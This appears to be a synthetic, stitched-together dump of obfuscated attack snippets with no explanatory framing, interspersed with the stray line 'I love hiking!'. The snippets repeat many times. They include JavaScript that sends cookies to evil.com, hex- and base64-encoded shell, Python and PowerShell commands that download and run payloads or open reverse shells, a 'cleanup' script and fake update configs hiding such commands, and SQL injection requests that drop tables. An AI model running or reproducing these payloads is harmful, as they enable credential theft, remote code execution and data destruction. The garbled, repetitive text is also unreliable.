var _0xa332=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xdd0e[0]](a)})();


[2024-05-22 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2022-04-22 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


var _0x5be3=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x08d3[0]](a)})();


[update]
endpoint = http://updates.2c08db91.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[2023-09-24 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2023-05-19 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


var _0xc290=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x4454[0]](a)})();


[2020-01-04 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2023-01-25 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2026-01-22 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0x7d67=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x4e74[0]](a)})();


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


[update]
endpoint = http://updates.9cf8a739.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.29dbcdfb.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


I love hiking!


[update]
endpoint = http://updates.3b332a55.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.80be6f3e.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2024-12-11 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.b14a2a99.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


[2023-05-21 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.2187190f.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[2022-06-05 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


[2024-08-16 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0x0269=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xdbfe[0]](a)})();


[2021-09-14 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0x4f70=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xd8b9[0]](a)})();


[update]
endpoint = http://updates.c6a1a8da.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


var _0x1d55=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x9ef4[0]](a)})();


[update]
endpoint = http://updates.226a63ee.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


I love hiking!


var _0xc7ee=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x6985[0]](a)})();


[update]
endpoint = http://updates.ac8fcfef.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x2b8b=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x8893[0]](a)})();


[update]
endpoint = http://updates.9ef7f526.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


[2020-11-25 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[2024-07-07 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.c889f52c.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.4423b115.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2024-08-27 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


[2022-05-09 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2023-02-28 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


[update]
endpoint = http://updates.bd83fcb0.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0xb99a=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x0e6d[0]](a)})();


var _0xb69f=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x8364[0]](a)})();


[update]
endpoint = http://updates.f74b1db6.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


I love hiking!


var _0x3374=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xd46c[0]](a)})();


var _0x2959=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x4f55[0]](a)})();


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


[update]
endpoint = http://updates.793c8418.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[update]
endpoint = http://updates.2d165480.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.247438ba.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2022-02-08 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0xde43=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xfda2[0]](a)})();


var _0xb0d7=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x5e53[0]](a)})();


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


var _0x660f=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x2f36[0]](a)})();


var _0xd982=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x0a2a[0]](a)})();


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


[update]
endpoint = http://updates.a2b1c29e.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.59a6ba66.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x6280=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x4b37[0]](a)})();


[update]
endpoint = http://updates.3a463709.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2021-09-24 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.c2594330.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2023-07-17 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.88aebbed.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[update]
endpoint = http://updates.0cd117d0.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.ec34c113.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x88f0=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xa51b[0]](a)})();


var _0xa458=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x11a2[0]](a)})();


[update]
endpoint = http://updates.9a55cc26.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x23d7=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x523c[0]](a)})();


var _0x8bad=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x8646[0]](a)})();


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


var _0x1582=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xc4b9[0]](a)})();


[update]
endpoint = http://updates.732fc30c.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


var _0x0c7b=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x9837[0]](a)})();


var _0xdc76=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x6566[0]](a)})();